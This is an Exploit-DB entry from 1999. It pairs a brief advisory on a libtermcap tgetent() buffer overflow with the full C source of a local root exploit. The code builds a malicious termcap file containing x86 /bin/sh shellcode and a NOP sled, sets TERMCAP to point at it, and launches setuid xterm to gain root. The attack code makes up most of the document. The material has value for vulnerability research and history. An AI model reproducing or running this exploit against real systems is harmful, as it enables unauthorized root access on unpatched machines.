RedHat Linux 6.0 / Slackware Linux 4.0 - Termcap 'tgetent()' Local Buffer Overflow (2)

EDB-ID:

19465

Author:

sk8

Type:

local

Platform:

Linux

Published:

1999-08-18

source: http://www.securityfocus.com/bid/588/info
 
A buffer overflow existed in libtermcap's tgetent() function, which could cause the user to execute arbitrary code if they were able to supply their own termcap file. Versions of libtermcap 2.0.8 and earliear are vulnerable.
 
Under Red Hat Linux 5.2 and 4.2, this could lead to local users gaining root privileges, as xterm (as well as other possibly setuid programs) are linked against libtermcap. Under Red Hat Linux 6.0, xterm is not setuid root.
 
Debian and Caldera OpenLinux use the ncurses library instead of termcap and thus are not vulnerable.

/* Local exploit for suid root programs linked to libtermcap < 2.0.8-15 
 *
 * tested with xterm and nxterm on RedHat 5.2 and 4.2
 *
 * sk8@lucid-solutions.com
 * http://www.lucid-solutions.com
 *
 * Usage:
 * ./smashcap  		-default is buffer size of 4210 and offset of 300
 *			 and seems to work on RH 5.2
 *
 * Adjust offsets (somewhere between 230 - 1140) if necessary
 *
 * ./smashcap <offset> 	-buffer size defaults to 4210
 * ./smashcap <offset> <buffersize>
 *
 *
 * In order to stop script kids/opportunists, one MINOR change must be
 * made in order for this to work.  
 *
 * Use only to test your machines to show you that you must patch libtermcap.
 * Quick fix, chmod u-s ALL suid root programs linked with libtermcap.
 *
 *						- sk8 of LS
 *
 */

#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define filename "/tmp/lstermcap"
#define entry1   "xterm|"
#define DEFAULT_BUFSIZE 4210

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* Linux shellcode */

long get_sp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(int argc, char *argv[]) {
   int bufsize, offset, i, fd;
   long *bufptr;
   char *ptr, *buffer, *tempbuf;

   setenv("TERMCAP", "/tmp/lstermcap", 1);


   bufsize=DEFAULT_BUFSIZE;

   if (argc > 2) bufsize=atoi(argv[2]);
   if (argc > 1) offset=atoi(argv[1]);
   else offset=300;
  

   printf("bufsize: %i\noffset: %i\n", bufsize,offset);

   if(!(buffer = malloc(bufsize))) {
      printf("can't allocate enough memory\n");
      exit(0);
   }
  if(!(tempbuf = malloc(bufsize+strlen(entry1) ))) {
      printf("can't allocate enough memory\n");
      exit(0);
   }

   printf("get_sp(): 0x%x\n", get_sp());
   printf("get_sp()-offs: 0x%x\n", (get_sp()-offset) );

   ptr=buffer;
   bufptr = (long *)(buffer+2); /* align */

   for (i = 0; i < bufsize; i += 4)
      	*(bufptr++) = (get_sp()-offset);

   	for (i = 0; i < (bufsize/2); i++) 
     		 buffer[i] = 0x90;

	ptr=buffer + ((bufsize/2) - strlen(shellcode)/2);
  	for (i = 0; i < strlen(shellcode); i++)
      		*(ptr++) = shellcode[i]; //shellcode


  	ptr=ptr+24;

	/* now insert the characters : and \ into the termcap - these are vital */
  	*(ptr++)=0x3a;  
  	*(ptr++)=0x5c;  


   	snprintf(tempbuf, (bufsize+strlen(entry1)), "%s%s%s", entry1, buffer);
   	fd = open(filename, O_WRONLY|O_CREAT|O_TRUNC, 0666);
   	write (fd, tempbuf, strlen(tempbuf));
   	close(fd);
	printf("made termcap\n");

	execl("/usr/X11R6/bin/xterm","xterm", 0);
	
}